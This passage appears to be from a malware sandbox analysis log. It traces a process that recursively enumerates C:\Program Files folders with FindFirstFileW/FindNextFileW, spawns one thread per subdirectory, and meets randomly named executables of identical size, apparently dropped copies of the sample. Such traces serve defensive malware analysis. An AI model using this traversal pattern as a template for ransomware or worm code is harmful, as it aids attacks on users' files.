lpThreadId=0x0) returned 0x3fc [0141.778] FindNextFileW (in: hFindFile=0x8d9d90, lpFindFileData=0x8faab8 | out: lpFindFileData=0x8faab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0141.778] FindClose (in: hFindFile=0x8d9d90 | out: hFindFile=0x8d9d90) returned 1 [0141.779] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8faab8) returned 1 [0141.779] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ed0) returned 1 [0141.779] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebe78) returned 1 Thread: id = 1634 os_tid = 0x764 [0139.594] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8788 [0139.594] wcscpy (in: _Dest=0x8e8788, _Source="C:\\Program Files\\Microsoft Synchronization Services" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services" [0139.594] wcscat (in: _Dest=0x8e8788, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\" [0139.594] wcscat (in: _Dest=0x8e8788, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\*") returned="C:\\Program Files\\Microsoft Synchronization Services\\*" [0139.594] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fb148 [0139.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x8fb148 | out: lpFindFileData=0x8fb148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941df0 [0140.637] wcscmp (_String1=".", _String2=".") returned 0 [0140.637] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x8fb148 | out: lpFindFileData=0x8fb148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.637] wcscmp (_String1="..", _String2=".") returned 1 [0140.637] wcscmp (_String1="..", _String2="..") returned 0 [0140.637] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x8fb148 | out: lpFindFileData=0x8fb148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0140.637] wcscmp (_String1="ADO.NET", _String2=".") returned 1 [0140.637] wcscmp (_String1="ADO.NET", _String2="..") returned 1 [0140.637] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0200 [0140.637] wcscpy (in: _Dest=0x8d0200, _Source="C:\\Program Files\\Microsoft Synchronization Services" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services") returned="C:\\Program Files\\Microsoft Synchronization Services" [0140.637] wcscat (in: _Dest=0x8d0200, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\" [0140.638] wcscat (in: _Dest=0x8d0200, _Source="ADO.NET" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" [0141.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d0200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0141.308] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x8fb148 | out: lpFindFileData=0x8fb148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 0 [0141.308] FindClose (in: hFindFile=0x941df0 | out: hFindFile=0x941df0) returned 1 [0141.308] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb148) returned 1 [0141.308] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8788) returned 1 [0141.308] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0cd8) returned 1 Thread: id = 1635 os_tid = 0x768 [0139.595] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8d9b10 [0139.595] wcscpy (in: _Dest=0x8d9b10, _Source="C:\\Program Files\\MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0139.595] wcscat (in: _Dest=0x8d9b10, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\") returned="C:\\Program Files\\MSBuild\\" [0139.595] wcscat (in: _Dest=0x8d9b10, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\*") returned="C:\\Program Files\\MSBuild\\*" [0139.595] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fb7d8 [0139.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x8fb7d8 | out: lpFindFileData=0x8fb7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87cf3cc0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87cf3cc0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941e30 [0140.638] wcscmp (_String1=".", _String2=".") returned 0 [0140.638] FindNextFileW (in: hFindFile=0x941e30, lpFindFileData=0x8fb7d8 | out: lpFindFileData=0x8fb7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87cf3cc0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87cf3cc0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.638] wcscmp (_String1="..", _String2=".") returned 1 [0140.638] wcscmp (_String1="..", _String2="..") returned 0 [0140.638] FindNextFileW (in: hFindFile=0x941e30, lpFindFileData=0x8fb7d8 | out: lpFindFileData=0x8fb7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb4540, ftCreationTime.dwHighDateTime=0x1d57b04, ftLastAccessTime.dwLowDateTime=0x942d6e30, ftLastAccessTime.dwHighDateTime=0x1d57a08, ftLastWriteTime.dwLowDateTime=0x942d6e30, ftLastWriteTime.dwHighDateTime=0x1d57a08, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="grove ob knitting.exe", cAlternateFileName="GROVEO~1.EXE")) returned 1 [0140.638] wcscmp (_String1="grove ob knitting.exe", _String2=".") returned 1 [0140.638] wcscmp (_String1="grove ob knitting.exe", _String2="..") returned 1 [0140.638] FindNextFileW (in: hFindFile=0x941e30, lpFindFileData=0x8fb7d8 | out: lpFindFileData=0x8fb7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0140.638] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0140.638] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0140.638] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x46) returned 0x8f9418 [0140.638] wcscpy (in: _Dest=0x8f9418, _Source="C:\\Program Files\\MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild" [0140.638] wcscat (in: _Dest=0x8f9418, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\") returned="C:\\Program Files\\MSBuild\\" [0140.638] wcscat (in: _Dest=0x8f9418, _Source="Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft" [0141.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488 [0141.310] FindNextFileW (in: hFindFile=0x941e30, lpFindFileData=0x8fb7d8 | out: lpFindFileData=0x8fb7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0141.310] FindClose (in: hFindFile=0x941e30 | out: hFindFile=0x941e30) returned 1 [0141.310] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb7d8) returned 1 [0141.310] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9b10) returned 1 [0141.310] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9ad0) returned 1 Thread: id = 1636 os_tid = 0x710 [0139.596] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e3fa8 [0139.596] wcscpy (in: _Dest=0x8e3fa8, _Source="C:\\Program Files\\Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0139.596] wcscat (in: _Dest=0x8e3fa8, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\") returned="C:\\Program Files\\Reference Assemblies\\" [0139.596] wcscat (in: _Dest=0x8e3fa8, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\*") returned="C:\\Program Files\\Reference Assemblies\\*" [0139.596] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fbe68 [0139.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x8fbe68 | out: lpFindFileData=0x8fbe68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da110 [0140.278] wcscmp (_String1=".", _String2=".") returned 0 [0140.278] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x8fbe68 | out: lpFindFileData=0x8fbe68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.278] wcscmp (_String1="..", _String2=".") returned 1 [0140.278] wcscmp (_String1="..", _String2="..") returned 0 [0140.278] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x8fbe68 | out: lpFindFileData=0x8fbe68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0140.278] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0140.278] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0140.278] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90ee88 [0140.278] wcscpy (in: _Dest=0x90ee88, _Source="C:\\Program Files\\Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies" [0140.279] wcscat (in: _Dest=0x90ee88, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\") returned="C:\\Program Files\\Reference Assemblies\\" [0140.279] wcscat (in: _Dest=0x90ee88, _Source="Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0140.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90ee88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8 [0140.279] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x8fbe68 | out: lpFindFileData=0x8fbe68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa447dca0, ftCreationTime.dwHighDateTime=0x1d53c79, ftLastAccessTime.dwLowDateTime=0x7504f510, ftLastAccessTime.dwHighDateTime=0x1d531d2, ftLastWriteTime.dwLowDateTime=0x7504f510, ftLastWriteTime.dwHighDateTime=0x1d531d2, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="situatedsentencesjewelry.exe", cAlternateFileName="SITUAT~1.EXE")) returned 1 [0140.279] wcscmp (_String1="situatedsentencesjewelry.exe", _String2=".") returned 1 [0140.280] wcscmp (_String1="situatedsentencesjewelry.exe", _String2="..") returned 1 [0140.280] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x8fbe68 | out: lpFindFileData=0x8fbe68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa447dca0, ftCreationTime.dwHighDateTime=0x1d53c79, ftLastAccessTime.dwLowDateTime=0x7504f510, ftLastAccessTime.dwHighDateTime=0x1d531d2, ftLastWriteTime.dwLowDateTime=0x7504f510, ftLastWriteTime.dwHighDateTime=0x1d531d2, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="situatedsentencesjewelry.exe", cAlternateFileName="SITUAT~1.EXE")) returned 0 [0140.280] FindClose (in: hFindFile=0x8da110 | out: hFindFile=0x8da110) returned 1 [0140.280] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fbe68) returned 1 [0140.280] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3fa8) returned 1 [0140.280] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3d40) returned 1 Thread: id = 1637 os_tid = 0x70c [0139.597] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8f6f30 [0139.597] wcscpy (in: _Dest=0x8f6f30, _Source="C:\\Program Files\\Uninstall Information" | out: _Dest="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information" [0139.597] wcscat (in: _Dest=0x8f6f30, _Source="\\" | out: _Dest="C:\\Program Files\\Uninstall Information\\") returned="C:\\Program Files\\Uninstall Information\\" [0139.597] wcscat (in: _Dest=0x8f6f30, _Source="*" | out: _Dest="C:\\Program Files\\Uninstall Information\\*") returned="C:\\Program Files\\Uninstall Information\\*" [0139.597] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fc4f8 [0139.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x8fc4f8 | out: lpFindFileData=0x8fc4f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da110 [0140.281] wcscmp (_String1=".", _String2=".") returned 0 [0140.281] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x8fc4f8 | out: lpFindFileData=0x8fc4f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.281] wcscmp (_String1="..", _String2=".") returned 1 [0140.281] wcscmp (_String1="..", _String2="..") returned 0 [0140.281] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x8fc4f8 | out: lpFindFileData=0x8fc4f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0140.281] FindClose (in: hFindFile=0x8da110 | out: hFindFile=0x8da110) returned 1 [0140.281] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fc4f8) returned 1 [0140.281] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f30) returned 1 [0140.281] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3d98) returned 1 Thread: id = 1638 os_tid = 0x704 [0139.597] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x46) returned 0x8f90a8 [0139.597] wcscpy (in: _Dest=0x8f90a8, _Source="C:\\Program Files\\Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0139.597] wcscat (in: _Dest=0x8f90a8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\") returned="C:\\Program Files\\Windows Journal\\" [0139.597] wcscat (in: _Dest=0x8f90a8, _Source="*" | out: _Dest="C:\\Program Files\\Windows Journal\\*") returned="C:\\Program Files\\Windows Journal\\*" [0139.597] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fcb88 [0139.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da350 [0141.095] wcscmp (_String1=".", _String2=".") returned 0 [0141.095] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.096] wcscmp (_String1="..", _String2=".") returned 1 [0141.096] wcscmp (_String1="..", _String2="..") returned 0 [0141.096] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0141.096] wcscmp (_String1="en-US", _String2=".") returned 1 [0141.096] wcscmp (_String1="en-US", _String2="..") returned 1 [0141.096] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e46e0 [0141.096] wcscpy (in: _Dest=0x8e46e0, _Source="C:\\Program Files\\Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0141.096] wcscat (in: _Dest=0x8e46e0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\") returned="C:\\Program Files\\Windows Journal\\" [0141.096] wcscat (in: _Dest=0x8e46e0, _Source="en-US" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US") returned="C:\\Program Files\\Windows Journal\\en-US" [0141.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e46e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0141.784] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0141.784] wcscmp (_String1="InkSeg.dll", _String2=".") returned 1 [0141.784] wcscmp (_String1="InkSeg.dll", _String2="..") returned 1 [0141.784] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c554863, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8c554863, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2aeed770, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x154400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll", cAlternateFileName="")) returned 1 [0141.784] wcscmp (_String1="JNTFiltr.dll", _String2=".") returned 1 [0141.784] wcscmp (_String1="JNTFiltr.dll", _String2="..") returned 1 [0141.784] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e99a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b77e99a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b043430, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x156800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNWDRV.dll", cAlternateFileName="")) returned 1 [0141.784] wcscmp (_String1="JNWDRV.dll", _String2=".") returned 1 [0141.784] wcscmp (_String1="JNWDRV.dll", _String2="..") returned 1 [0141.784] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77861d5d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77861d5d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll", cAlternateFileName="")) returned 1 [0141.784] wcscmp (_String1="jnwdui.dll", _String2=".") returned 1 [0141.784] wcscmp (_String1="jnwdui.dll", _String2="..") returned 1 [0141.784] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778fa2d1, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x778fa2d1, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll", cAlternateFileName="")) returned 1 [0141.784] wcscmp (_String1="jnwmon.dll", _String2=".") returned 1 [0141.784] wcscmp (_String1="jnwmon.dll", _String2="..") returned 1 [0141.784] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x757cd2ce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x757cd2ce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwppr.dll", cAlternateFileName="")) returned 1 [0141.784] wcscmp (_String1="jnwppr.dll", _String2=".") returned 1 [0141.784] wcscmp (_String1="jnwppr.dll", _String2="..") returned 1 [0141.784] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x8fcb88 | out: lpFindFileData=0x8fcb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a4bf5a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1a4bf5a, ftLastAccessTime.dwHighDateTime=0x1cb892b, 